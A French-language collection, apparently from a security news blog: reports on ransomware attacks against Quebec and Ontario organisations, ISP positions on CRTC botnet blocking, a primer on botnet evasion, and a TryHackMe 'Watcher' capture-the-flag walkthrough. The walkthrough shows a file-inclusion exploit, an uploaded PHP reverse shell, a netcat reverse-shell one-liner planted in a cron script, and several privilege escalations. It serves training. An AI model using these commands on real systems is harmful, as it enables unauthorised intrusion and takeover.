Le matin du 27 avril, le site web de la compagnie de Québec était effectivement inaccessible. Contactée, la compagnie préfère ne pas se prononcer sur les événements. L’entrepreneur, qui nous a demandé de garder l’anonymat, nous a dit qu’il « n’y a pas un guide clair sur le rôle de la sécurité informatique dans l’évolution de la création d’une PME » et que bien que l’investissement en sécurité puisse sembler être une dépense importante, surtout au début, « une évaluation des risques doit mener à la conclusion que de pareilles dépenses sont moins importantes que les dommages potentiels. »

Il reste à voir si d’autres groupes vont maintenant se mettre à pratiquer cette « triple extorsion ».

crédit photo couverture: Ben Elwood - licence CC BY-NC

La municipalité régionale de Durham, Ontario, a été la cible d’un groupe de cybercriminels. Les systèmes ont été sécurisés, mais l’étendue de la fuite de données est encore inconnue.

Nous avons contacté l’administration de la municipalité après qu’un groupe de rançongiciel a annoncé cette attaque sur son site hébergé sur le « dark web ». Le service des communications nous a répondu qu’ils avaient récemment été avisés d’un « incident de sécurité relié à un logiciel fourni par un tiers ». Cet incident n’aurait pas affecté leurs autres services TI.

La municipalité régionale dit avoir avisé les autorités compétentes. Leurs experts étudient la situation afin de déterminer quelles données sont impliquées et l’impact de l’incident. La municipalité affirme que la vulnérabilité a été corrigée et que leurs systèmes ont été sécurisés.

Le groupe a publié des captures d’écran de documents confidentiels. Le porte-parole de Durham ne nous a pas confirmé si ceux-ci étaient véridiques. On y trouve des tableaux de coordonnées avec noms et numéros de téléphone et des rapports de transport ambulancier.

Le groupe qui revendique cette attaque a été impliqué dans plusieurs fuites de données impliquant des universités aux États-Unis. Il a été très actif récemment dans l’exploitation d’une vulnérabilité de Accellion FTA (File Transfer Appliance). Cette technologie vieille de 20 ans sert à partager des documents confidentiels de façon sécuritaire. Une première vulnérabilité a été découverte à la fin décembre 2020. Trois autres vulnérabilités ont été découvertes en 2021. Ces vulnérabilités ont été corrigées, mais plusieurs organisations n’ont pas mis leurs systèmes à jour, laissant le champ libre aux malfaiteurs. La municipalité régionale de Durham n’a pas répondu à notre question sur l’utilisation ou non d’Accellion FTA.

crédit photo: Richard Patterson - licence CC

Faxinating Solutions, une compagnie québécoise spécialisée en échange de données informatisées (EDI) a été la cible d’un groupe de cybercriminels. Le 16 mars dernier, le groupe Conti a publié des documents confidentiels, qu’il allègue leur avoir volés, sur son site hébergé sur le « dark web ».

Rejoint au téléphone, le propriétaire et PDG Steve Hatajlo, nous a dit « qu’il ne peut nier qu’un incident a eu lieu ». L’entreprise, et les autorités concernées, « surveillent la situation de près ». Selon un reportage publié sur le site freightwaves, la brèche a été découverte le 3 mars et la porte d’entrée était un courriel d’hameçonnage.

Faxinating Solutions est une entreprise qui offre des outils informatiques afin de permettre aux entreprises de transférer des données d’un format à un autre. L’EDI permet donc de partager électroniquement des informations autrefois disponibles sur papier seulement, comme des bons de commande ou des factures. Elle compte parmi ses clients de grands noms du domaine du transport et de la vente au détail, comme Métro, Walmart, Colabor et d’autres.

Sur le site web de la compagnie, on peut lire que l’entreprise offre un portail web pour les fournisseurs du Ministère de la Santé et des Services Sociaux (MSSS). Ce service ne serait pas offert directement, mais par l’entremise d’un partenaire. Une porte-parole du MSSS a répondu à notre demande d’information que « ce fournisseur n’a pas de contrats ni de relations d’affaires avec le ministère de la Santé et des Services sociaux et aucune attaque informatique n’a été répertoriée. » Suite à une demande d’éclaircissement, le Service des affaires publique du MSSS nous a répondu que « certains établissements du réseau de santé et des services sociaux ont des fournisseurs qui travaillent en sous-traitance avec cette compagnie. La compagnie ne détient aucune information appartenant au MSSS et à ses établissements. Toutefois, nous continuons de surveiller la situation. » M. Hatajlo nous a assuré que Faxinating Solutions ne traite aucune donnée médicale ou information de nature confidentielle appartenant à des patients.

Les attaques au rançongiciel prennent de l’ampleur et cet incident nous rappelle que les entreprises qui offrent des solutions informatiques sont des cibles de choix pour les groupes criminels.

Cet article a été modifié pour y inclure la précision reçue du MSSS après sa parution initiale.

La période pour déposer ses observations sur le projet de blocage des botnets par le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) est terminée. À la lecture des interventions, on voit que les fournisseurs d’accès à Internet (FAI) ne voient pas tous la situation du même œil. Certains vont même jusqu’à mettre en doute la légitimité du CRTC à mettre en place un tel programme.

Blocage obligatoire, transparence non requise

Dans un document signé par M. Dennis Béland, Vice-Président, Affaires réglementaires, chez Vidéotron, on peut lire qu’« il est possible pour le Conseil d’encadrer le blocage à l’échelle des réseaux en se basant sur un [sic] série de règles simples et uniformes. »

Vidéotron préconise une approche de blocage de domaine. Avec cette approche, une entité qui reste à définir devra maintenir une liste de noms de domaines malicieux à bloquer. Selon M. Béland, cette méthode est à préconiser « car elle est déjà déployée dans notre réseau, ce qui permettra le déploiement du cadre à moindre coût et une mise en œuvre rapide. Cette technique concilie efficacité et facilité de déploiement et n’entraînera pas de coûts supplémentaires pour les abonnés des services Internet. »

La filiale de Québecor Média propose un blocage universel, sans option de retrait. Il n’est pas souhaitable pour elle qu’un tel système soit optionnel. Vidéotron considère que n’étant pas optionnel, « des mesures de transparence ne sont pas requises. »

FAI contre le blocage

Le principal compétiteur de Vidéotron au Québec prend une position aux antipodes. Dans son document, Bell Canada conteste la légitimité du CRTC de mettre en place un tel programme. Elle considère qu’un cadre centralisé imposé par le Conseil est « en opposition avec l’approche coopérative et collaborative adoptée par le gouvernement »([^1]:Traduit de l’anglais par l’auteur) en matière de cybersécurité. Bell fait référence aux parties prenantes identifiées dans la Stratégie Nationale de Cybersécurité, publiée en 2010, et semble se faire un malin plaisir de souligner que le CRTC n’y figure pas.

Bell ne voit pas d’un bon œil la supervision d’un programme de blocage par une entité indépendante. « Le délai entre la détection d’un botnet malicieux et l’application de solutions de mitigations peut parfois être très court ». La nécessité d’aviser et d’obtenir l’approbation d’une entité externe nuirait à sa capacité de répondre efficacement aux menaces.

Bell se prononce contre la possibilité d’un système de retrait du programme de blocage, mais pour des raisons très différentes de Vidéotron. Actuellement, le blocage d’un domaine considéré dangereux se fait sans connaître l’identité de la personne qui le demande. Instaurer un choix pour le client ou la cliente implique donc la collecte de données personnelles supplémentaires que ce qui est requis actuellement.

Telus, dans son rapport au CRTC considère que le blocage des botnets ne fait rien pour régler le problème à la racine. Il s’agit d’une solution réactive qui est appliquée une fois que des appareils ont été infectés. La compagnie considère que le gouvernement devrait mettre plus d’effort à établir et appliquer des normes de sécurité pour les manufacturiers d’appareils connectés à Internet. « Adopter une approche proactive aura un impact plus significatif sur la réduction des attaques de botnets que la proposition d’un blocage à l’échelle du réseau ».

Cogeco se positionne clairement en faveur de la neutralité du réseau. La compagnie basée à Montréal s’inquiète que l’imposition gouvernementale de règles de blocage supplémentaires pourrait éroder la neutralité du réseau et a le potentiel de diminuer la protection de la vie privée.

Du côté des indépendants

Xplornet fait part de ses réserves sur le projet du CRTC. Pour la compagnie spécialisée en couverture des régions rurales, le blocage ne sera pas efficace, car il ne fait que s’attaquer au problème une fois que le mal est fait. Elle préconise donc une approche de prévention pour protéger la population. Elle s’inquiète qu’un tel cadre donnerait un faux sentiment de sécurité.

Teksaavy, l’un des principaux FAI indépendants au pays, s’oppose également au projet. La compagnie, qui est présente au Québec depuis 2020, considère que le blocage à l’échelle du réseau contrevient aux principes de base d’un Internet libre et ouvert. Elle considère qu’un tel cadre portera atteinte à la neutralité du réseau sans réellement augmenter la sécurité de l’Internet.

Plusieurs autres intervenants ont également déposé des avis. Le CRTC a maintenant la tâche d’analyser ces interventions. La tâche ne sera pas facile car le blocage ne fait nullement l’unanimité chez les fournisseurs d’accès à Internet qui seront responsables d’appliquer cette mesure si le Conseil décide de l’adopter.

crédit photo: Martin Abegglen - licence CC

• Salle : Watcher
• Difficulté : Moyenne
• URL : https://tryhackme.com/room/watcher

Scan

La première chose à faire lorsqu’on attaque une box est de la scanner. Je le fais habituellement en trois étapes :

1. Un scan agressif sur les 10 000 premiers ports (nmap -A -oN nmap.txt target)
2. Un scan de vulnérabilités sur les 10 000 premiers ports (nmap -script vuln -oN nmapVuln.txt target)
3. Un scan SYN sur tous les ports (sudo nmap -sS -p- -oN nmapFull.txt target)

Voici les résultats du premier scan :

# Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target
Nmap scan report for target (10.10.208.34)
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds

Les scans de vulnérabilités et le scan complet n’ont rien apporté de plus d’intéressant.

Le premier port ouvert est pour le FTP. La connexion anonyme ne semble pas être autorisée, mais essayons quand même.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Pas de chance ici, alors regardons le site web sur le port 80.

Site web

En naviguant vers http://target/, on obtient un site sur les napperons en liège. Un coup d’œil rapide à la requête dans Burp ne montre rien d’intéressant.

Cependant, il y a un fichier robots.txt qui contient deux entrées.

Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

Naviguer vers http://target/flag_1.txt nous donne notre premier flag. http://target/secret_file_do_not_read.txt est interdit.

Maintenant, je commence à scanner le site à la recherche de pages cachées. J’utilise GoBuster pour scanner les sites web. J’utilise habituellement deux listes différentes pour le faire. Je devrais probablement construire une seule liste avec uniquement les valeurs uniques issues de ces deux-là.

gobuster dir -e -u http://target/ -t30 -w /usr/share/dirb/wordlists/common.txt  | tee gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://target/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/03/14 13:09:21 Starting gobuster in directory enumeration mode
===============================================================
http://target/.hta                 (Status: 403) [Size: 271]
http://target/.htaccess            (Status: 403) [Size: 271]
http://target/.htpasswd            (Status: 403) [Size: 271]
http://target/css                  (Status: 301) [Size: 298] [--> http://target/css/]
http://target/images               (Status: 301) [Size: 301] [--> http://target/images/]
http://target/index.php            (Status: 200) [Size: 4826]
http://target/robots.txt           (Status: 200) [Size: 69]
http://target/server-status        (Status: 403) [Size: 271]
===============================================================
2021/03/14 13:10:00 Finished
===============================================================

Rien de très intéressant ici.

Pendant que GoBuster s’exécutait, j’ai commencé à explorer le site. Lorsque j’ai cliqué sur l’un des articles, il pointait vers cette url : http://target/post.php?post=striped.php . Cela ressemblait à quelque chose qui pourrait être utilisé pour une attaque de type Local File Inclusion (LFI).

Je l’ai donc utilisée pour tenter de lire le fichier secret auquel je ne pouvais pas accéder plus tôt. J’ai chargé http://target/post.php?post=secret_file_do_not_read.txt et ça a fonctionné. Le fichier contient le message suivant :

Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD

Nous avons maintenant les identifiants du serveur FTP. Cela laisse aussi entendre que nous pourrons écrire des fichiers sur le serveur FTP, et où ils seront sauvegardés.

D’abord, assurons-nous que le code est exécuté lorsqu’il est inclus. J’ai tenté d’inclure index.php pour voir s’il allait afficher le contenu, ou l’exécuter.

Chargez http://target/post.php?post=index.php, vous verrez la page d’index chargée à l’intérieur de la page de l’article.

Ensuite, j’ai tenté d’obtenir le code source de post.php pour voir s’il y avait du filtrage, ou si je pouvais l’utiliser pour charger n’importe quel fichier.

Charger http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php m’a donné le code source PHP encodé en base64. Je l’ai décodé, et j’ai vu qu’il n’y a aucun filtrage. On peut charger n’importe quel fichier du serveur.

<div class="col-8">
  <?php include $_GET["post"]; ?>
</div>

Obtenir un shell

Je savais maintenant que je pouvais utiliser le serveur FTP pour téléverser un fichier, puis l’exécuter sur le serveur grâce à la vulnérabilité LFI.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 .
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
-rw-r--r--    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
226 Transfer complete.
21 bytes received in 0.00 secs (84.0484 kB/s)

Nous avons trouvé le deuxième flag sur le serveur FTP. On voit aussi que le dossier files est accessible en écriture, nous pouvons donc y pousser notre reverse shell.

J’utilise le reverse shell PHP qui est disponible dans Kali à /usr/share/webshells/php/php-reverse-shell.php.

ftp> cd files 
250 Directory successfully changed.
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (5.8002 MB/s)

Selon le message trouvé plus tôt, ce fichier devrait maintenant se trouver à /home/ftpuser/ftp/filesphp-reverse-shell.php.

J’ai démarré un listener Netcat dans ma VM Kali (nc -lvnp 4444). Puis j’ai chargé http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php dans un navigateur. J’ai obtenu une connexion sur mon listener.

J’ai stabilisé mon shell avec les commandes suivantes :

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

# Hit Ctrl-z to go background the shell
stty raw -echo;fg

À partir de là, j’ai trouvé un troisième flag dans les fichiers du site web.

www-data@watcher:/$ whoami
www-data
www-data@watcher:/$ ls /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/$ ls /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG{SOME FLAG}

Escalade vers Toby

Maintenant que nous avons un shell, nous devons tenter d’élever nos privilèges.

La première chose à faire est de vérifier si l’utilisateur courant peut exécuter sudo. www-data ne devrait pas pouvoir, mais c’est une bonne idée de vérifier quand même.

sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

www-data est autorisé à exécuter n’importe quelle commande en tant que toby.

sudo -utoby bash -p
toby@watcher:/$ whoami
toby
toby@watcher:/$ ls -l /home/toby/
total 12
-rw------- 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 jobs
-rw-r--r-- 1 mat  mat    89 Dec 12 15:25 note.txt

Nous avons notre 4e flag.

Escalade vers Mat

Nous devons trouver un moyen d’élever à nouveau nos privilèges. sudo -l requiert un mot de passe, nous devons donc trouver autre chose.

Il y a un fichier note.txt dans le dossier home, regardons-le.

cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

On dirait qu’il y a un cron job qui s’exécute, probablement en tant que Mat, que nous pourrions être en mesure d’utiliser. Il y a un dossier jobs, et il contient un fichier sh.

ls -l jobs/
total 4
-rwxr-xr-x 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~$ cat jobs/cow.sh 
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

Il s’agit peut-être du cron du message. Et nous pouvons y écrire. J’ai donc modifié le fichier pour y ajouter une connexion reverse shell, démarré un autre listener Netcat et attendu une connexion.

Ajoutez ceci à jobs/cow.sh

mkfifo /tmp/kirxhbg; nc 10.13.3.36 4445 0</tmp/kirxhbg | /bin/sh >/tmp/kirxhbg 2>&1; rm /tmp/kirxhbg

La prochaine fois que le cron s’exécutera, vous obtiendrez une nouvelle connexion.

nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
whoami
mat
ls /home/mat
cow.jpg
flag_5.txt
note.txt
scripts

Voilà le flag #5.

Escalade vers Will

Ce shell était plutôt instable, j’ai donc copié ma clé publique ssh sur le serveur et je me suis reconnecté par ssh.

mkdir .ssh
echo "My Public Key" > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys

Une fois connecté, il y a un autre fichier note.txt dans le dossier home.

cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

Effectivement, nous pouvons exécuter un script python en tant que will sans mot de passe.

sudo -l
Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

Nous ne sommes pas autorisés à modifier le script, mais voyons ce qu’il fait.

mat@watcher:~$ ls -l scripts/will_script.py
-rw-r--r-- 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~$ cat scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")
        exit()

os.system(cmd)

Le script lit une commande depuis la ligne de commande, puis l’envoie à get_command et l’exécute si elle fait partie des trois commandes autorisées.

La partie intéressante est get_command, qui est importée de cmd.py, lequel se trouve dans le même dossier que le script.

mat@watcher:~$ ls -la scripts/cmd.py 
-rw-r--r-- 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~$ cat scripts/cmd.py
def get_command(num):
        if(num == "1"):
                return "ls -lah"
        if(num == "2"):
                return "id"
        if(num == "3"):
                return "cat /etc/passwd"

Nous pouvons écrire dans ce fichier. Nous pouvons donc le modifier pour démarrer un nouveau shell bash en tant que Will. Nous devons ajouter un import de os. Puis ajouter ce qui suit au début de la fonction get_command.

os.system('/bin/bash -p')

Après cela, nous pouvons exécuter le script python en tant que will et obtenir un shell.

mat@watcher:~$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~$ whoami
will
will@watcher:~$ ls -l /home/will/
total 4
-rw------- 1 will will 41 Dec  3 01:58 flag_6.txt

Nous avons le flag 6.

Escalade vers root

Pour cette étape, il n’y a pas de fichier note.txt pour nous donner un indice. Exécuter sudo -l requiert un mot de passe, donc pas de chance de ce côté non plus.

J’ai vérifié les groupes de l’utilisateur, et il fait partie du groupe adm. Cela semblait intéressant.

J’ai cherché des fichiers appartenant à ce groupe. Et j’ai trouvé un dossier backups contenant un fichier : key.b64.

J’ai décodé le fichier, et il contenait une clé privée ssh.

cat /opt/backups/key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----

J’ai pris cette clé, l’ai copiée dans un fichier sur ma machine et modifié ses permissions à 600. Puis je l’ai utilisée pour me reconnecter au serveur en tant que root.

ssh root@target -i root_id_rsa 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)

root@watcher:~# ls -l 
total 4
-rw-r--r-- 1 root root 31 Dec  3 02:26 flag_7.txt

C’était notre dernier flag.

C’est une box amusante à rooter. Avec beaucoup d’étapes. Je ne suis pas sûr qu’elle devrait être classée comme difficulté moyenne. Toutes les étapes étaient plutôt faciles à réaliser. Surtout avec les fichiers note.txt qui donnent d’énormes indices.

Texte aussi publié sur : https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/

Votre réfrigérateur intelligent est-il un traître? Est-il possible qu’il ne se contente plus de vous envoyer un texto lorsque vous n’avez plus de lait, mais se soit fait recruter dans un réseau de zombies (botnet)? Le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) a le projet de bloquer le trafic des botnets en appliquant les mesures qui « concilient efficacité et facilité de mise en œuvre » sans entraîner de coûts supplémentaires pour les abonnés. Un survol des méthodes utilisées par les opérateurs montre que cela sera tout sauf facile.

L’organisme fédéral responsable de la régulation des télécommunications propose de donner le mandat de filtrer le trafic des botnets aux fournisseurs d’accès à Internet (FAI). C’est dans ce contexte qu’il tient jusqu’au 15 mars un appel aux observations. Ce blocage doit permettre d’empêcher la communication entre les appareils infectés qui constituent le réseau de zombies et leur serveur de contrôle et de commande (serveur C2). Ce filtrage pourrait prendre plusieurs formes. L’appel du CRTC mentionne « le blocage basé sur le domaine, le blocage basé sur le protocole Internet (IP) et le blocage basé sur le protocole ».

Le nom de domaine est le nom du site web que nous écrivons dans la barre d’adresse d’un fureteur, comme « hackfest.ca », par exemple. Ce nom de domaine est ensuite traduit en adresse IP par des résolveurs de domaine (DNS).

Le « blocage basé sur le domaine » implique l’instauration et la mise à jour en continu d’une liste de noms de domaines à bloquer. Le « blocage basé sur le protocole Internet (IP) » équivaut à créer une liste semblable, mais pour des adresses IP. Pour éviter les abus, le CRTC suggère qu’« une partie indépendante spécialisée en cybersécurité » soit responsable du cadre. Celle-ci pourra approuver les ajouts à ces listes.

Changer d’adresse pour ne pas être découvert

Les techniques d’obfuscation utilisées par les opérateurs de botnets rendent l’application de ces techniques extrêmement difficile. En effet, comme décrit dans une revue de la littérature scientifique publiée en 2017 (Botnet detection technology based on DNS, Xingguo Li et al., 2017), les botnets utilisent une méthode appelée « domain flux » pour déjouer les tentatives de détection. Cette méthode permet aux botnets de modifier constamment le nom de leurs serveurs C2. Des algorithmes sont utilisés pour générer de multiples noms de domaines de façon pseudo-aléatoire. Selon les auteurs de cet article, garder à jour la liste de ces domaines nécessiterait une énorme quantité de ressources.

On se retrouve devant le même problème en tentant de bloquer les adresses IP. La technique du « fast flux » est utilisée pour assigner de multiples adresses IP au même nom de domaine. Dans une variante appelée « double flux », les zombies ne communiquent pas directement avec le serveur C2, mais avec une couche intermédiaire d’appareils qui servent de relais. Cette configuration assure plus de résilience en isolant le cœur du botnet.

Le risque de faux positifs

Il y a d’autres facteurs qui augmentent ce que l’on appelle les « faux positifs » (le risque de bloquer un nom de domaine ou une adresse IP qui n’est pas malicieuse).

Il existe des raisons légitimes d’utiliser des réseaux de botnets. Ceux-ci ne sont pas composés d’appareils infectés à leur insu, mais utilisent une architecture similaire. Ils servent à parcourir le web (“web scraping”), aux équipes de tests de pénétration (“red team”) et autres processus d’automatisation.

Un article de la firme Fireeye résume bien ces difficultés.

• Les développeurs de botnets utilisent des sites web légitimes pour héberger leur code. Il se peut qu’un seul document sur ce site soit utilisé par le botnet à des fins criminelles. Bloquer le domaine ne bloquera pas seulement les zombies, mais l’accès légitime au site web infecté.
• Les opérateurs se servent de plateformes telles que Twitter, Amazon Cloud Services et d’autres services d’hébergement publics. Il est inconcevable de bloquer entièrement ces services.
• Les adresses IP une fois abandonnées par les opérateurs de botnets sont utilisées par des sources légitimes qui se retrouvent sur les listes de blocage.
• L’article de Fireeye mentionne également l’utilisation de protocole P2P (peer-to-peer). Ces botnets n’utilisent pas de serveurs C2, rendant caducs les mécanismes de blocage de ceux-ci.

Face à la menace des botnets, le CRTC exprime son désir de trouver une solution facile, efficace et qui n’entraîne pas de coûts supplémentaires pour les abonnés aux services Internet. Le survol des technologies utilisées par les opérateurs de botnet semble indiquer qu’une solution à ce problème sera tout sauf facile.

crédit photo: Melissa Mathies - licence CC

La compagnie Consortech, basée à Brossard, a été la cible d’une cyber attaque au début du mois de mars. Malgré le déploiement d’un rançongiciel, ils ont rapidement récupéré leurs données. Ils ont toutefois dû faire face à la menace de retrouver celles-ci diffusées sur la place publique. La disparition subséquente des informations relatives à Consortech du site des pirates laisse croire que ceux-ci ont obtenu ce qu’ils désiraient.

Consortech, fondée en 1989, se spécialise dans la valorisation des données géospatiales. L’entreprise met en œuvre des solutions de traitement des données géographique et l’automatisation des processus reliés à celles-ci. Elle compte plusieurs municipalités parmi sa clientèle.

Avaddon, le groupe de rançonneurs responsable de cette attaque, utilise la méthode de la « double extorsion » afin d’augmenter la pression sur ses victimes. En plus de chiffrer les données pour les rendre inaccessibles, les pirates menacent de publier celles-ci si une rançon n’est pas payée. Un échantillon était diffusé sur le site du groupe Avaddon. Il comprenait des noms, adresses courriels et numéros de téléphone de contacts.

Contacté le 8 mars, M. Guillaume Genest, associé et directeur général chez Consortech, confirme qu’un rançongiciel a paralysé leurs systèmes. L’arrêt a été de courte durée, car l’entreprise possédait « des backups en bonne santé ». Ils ont pu reprendre leur travail rapidement. M. Genest confirme que les malfaiteurs ont exigé une rançon, sans en préciser le montant, et qu’il ne l’a pas payée. Selon lui, il n’est pas exclu que l’assureur décide de payer après avoir complété une analyse du risque.

M. Genest ne peut dire à quel moment l’intrusion a eu lieu. Le procédé utilisé par les criminels pour accéder à leurs systèmes n’est pas encore connu. « Nous avons envoyé un avis à l’ensemble de notre clientèle pour les aviser de la situation et de la fuite de données ». La situation repose entre les mains d’une firme de cybersécurité et l’on ne peut se prononcer sur l’étendue de la fuite avant les résultats de l’enquête en cours.

Le lendemain de notre conversation, le nom de la compagnie et la page qui hébergeait les échantillons de données ne se trouvent plus sur le site « Avaddon info ». Cette disparition laisse croire que l’entreprise, ou son assureur, a décidé de payer la rançon. Nous avons tenté de contacter M. Genest par courriel pour confirmer le paiement, mais n’avons pas encore reçu de réponse au moment de la publication de cet article.

La plateforme de rançongiciel NetWalker, récemment démantelée, était responsable de l’attaque informatique qui a paralysé les serveurs de la ville de Montmagny au mois de janvier dernier.

C’est tôt le matin du 17 janvier, en tentant de s’occuper des opérations de déneigement, que des employés ont noté que les ordinateurs de la ville ne répondaient plus. Des malfaiteurs associés au groupe NetWalker avaient chiffré leurs données et réclamaient une rançon afin de les récupérer.

La panne a affecté les systèmes téléphoniques et informatiques de la ville, de la bibliothèque, ainsi que de la Société de développement économique de Montmagny. L’utilisation de services hébergés à l’externe et des redondances ont permis aux automates du système de gestion du traitement des eaux et au système téléphonique d’urgence de demeurer fonctionnels.

Des données récupérées sans rançon

Joint au téléphone, M. Félix Michaud, directeur général de la Ville de Montmagny, affirme que la ville a récupéré les données subtilisées. « Une nouvelle architecture sécurisée » sera en fonction dans quelques jours. « Nous avons été chanceux dans notre malchance », car les autorités ont démantelé NetWalker dix jours après cette attaque.

Les systèmes de données seront rétablis, sans perte et sans qu’une rançon soit payée. M. Michaud ne peut dire comment les données ont été récupérées, car les experts « ne dévoilent pas les ingrédients secrets de leurs recettes », mais il ne semble pas que les pirates ont effectué des copies. Les experts poursuivent une veille afin de surveiller si ces données refont surface.

NetWalker, un service clé en main

Netwalker était une plateforme qui permettait à des « affiliés » de louer ses services pour effectuer des attaques de type rançongiciel. L’affilié trouve des systèmes informatiques vulnérables et déploie le logiciel maintenu par les « développeurs » de la plateforme. Ce groupe avait adopté la stratégie de la « double extorsion ». En plus de chiffrer les données, le groupe en publiait un échantillon et menaçait de rendre le tout public afin de forcer leurs victimes à payer la rançon. Les profits sont ensuite partagés entre l’affilié et les développeurs.

Le 27 janvier, le département de la justice des États-Unis a annoncé l’arrestation d’un homme de 33 ans vivant à Gatineau, Sébastien Vachon-Desjardins, en lien avec le démantèlement du réseau NetWalker. Selon un article publié par la firme chainalysis, celui-ci serait responsable de 91 attaques depuis le mois d’avril 2020. La même semaine, les autorités bulgares saisissaient un serveur hébergeant un site sur le « dark web » utilisé pour communiquer avec les victimes et leur indiquer les procédures de paiement.

Les services informatiques magnymontois seront rétablis d’ici quelques jours. M. Michaud espère que le fait de parler de leur expérience servira à sensibiliser les autres organisations et entreprises aux risques que pose ce genre d’attaque. Il souligne que la ville a réussi à continuer à offrir les services nécessaires grâce à la créativité du personnel et que « dans l’adversité, cela permet de tisser des liens plus serrés entre les membres de l’équipe ».

• Adressé à: Commission d’accès à l’information du Québec et du Canada
• Par: Hackfest Communication et ses participants:
  • Sam Harper
  • Coralie Grozner
  • Eric Hogue

Le Québec est en voie de devenir un champion des brèches de sécurité. De multiples entreprises et organismes, comme Promutuel, la STM, l’Ordre des Ingénieurs du Québec, HelpOX et bien d’autres, sont victimes de groupes criminels utilisant des rançongiciels et autres outils informatiques leur permettant le vol de données et l’extorsion. La plupart de ces brèches ne sont pas dévoilées au public et un grand nombre de ces victimes paient les rançons. C’est un marché lucratif et sans une réponse concertée, il ne fera que prendre de l’ampleur.

